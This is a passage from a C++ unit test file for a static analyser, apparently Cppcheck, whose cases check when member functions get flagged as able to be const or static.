A {\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" void g() { p->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" void f(int&) const;\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct P {\\n\"\n \" T* operator->();\\n\"\n \" const T* operator->() const;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" P p;\\n\"\n \" int i;\\n\"\n \" void g() { p->f(i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\" // #11501\n \" enum E { E1 };\\n\"\n \" virtual void f(E) const = 0;\\n\"\n \"};\\n\"\n \"struct F {\\n\"\n \" A* a;\\n\"\n \" void g() { a->f(A::E1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (style, inconclusive) Technically the member function 'F::g' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const82() { // #11513\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(bool) const;\\n\"\n \" void g() { h(i == 1); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int i;\\n\"\n \" void h(int, int*) const;\\n\"\n \" void g() { int a; h(i, &a); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const83() {\n checkConst(\"struct S {\\n\"\n \" int i1, i2;\\n\"\n \" void f(bool b);\\n\"\n \" void g(bool b, int j);\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" int& r = b ? i1 : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\"\n \"void S::g(bool b, int j) {\\n\"\n \" int& r = b ? j : i2;\\n\"\n \" r = 5;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const84() {\n checkConst(\"class S {};\\n\" // #11616\n \"struct T {\\n\"\n \" T(const S*);\\n\"\n \" T(const S&);\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" const S s;\\n\"\n \" void f1() {\\n\"\n \" T t(&s);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" T t(s);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'C::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'C::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const85() { // #11618\n checkConst(\"struct S {\\n\"\n \" int a[2], b[2];\\n\"\n \" void f() { f(a, b); }\\n\"\n \" static void f(const int p[2], int q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return 